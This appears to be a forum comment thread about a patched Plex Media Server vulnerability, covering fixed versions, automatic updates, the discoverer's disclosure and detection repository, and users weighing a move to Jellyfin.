And how did you set up the trigger to automatically spin up the ephemeral jellyfin container when a movie is selected?
Thanks!
Reddit discussion here: https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exp...
Affects an older version of Plex and was patched in August.
Did they start doing automatic updates?
I have a lifetime subscription, I use plex to share the media with the wife and kids on all of our devices, it does the job. I won't bitch about their streaming ambitions, but doing automatic updates and taking security seriously would go far for them.
You can opt-in automatic updates. If you install the non-container package, you can set it to auto upgrade.
With containers it's a questionable/clunky implementation but possible. It only works in one flavor of their official image. On startup it will check if there is an update and download it and replace the application in the container. It breaks the point of containers obviously. It also only runs on startup, so you need to restart the container to get it to run.
Nope, at least not on the platform I'm on. Just get the popup when accessing media when there is an update and can automate it or schedule for evening, but no way to automatically update it.
I don't think they force upgrade but it looks like the fix was part of 1.43.3 and my app is on 1.43.4
If you're on Gentoo, I've been keeping this maintained in their main tree. Had the patched version available for users since July 15th...
I also maintain a netbird ebuild in my overlay if you want a FOSS alternative to tailscale to put it behind.
I got hit with this.
It's almost like Plex is trying to convince me to dump it for Jellyfin lately
- raising the prices of membership
- making the UI terribly slow on all devices
- constant cve's
- constantly spamming my email with offers despite already paying for premium
Author of the writeup here.
For anyone running PMS: the fix is in 1.43.3.10861. Anything older is vulnerable. I reported it July 27 and Plex patched and awarded a $500 bounty within about a week.
If you want to know whether you were hit, the repo has a detection/ directory with YARA rules and a read-only hunt script (github.com/code-zm/plex2shell).
Happy to answer questions about the chain.
I can login and control my server from plex, and I can stream via rely mode, but in the Remote Access it says "Not available outside your network". Is it safe to assume I avoided it?
Yes. If it's not open to the internet you're safe. If you're running an older version I'd still recommend patching to latest.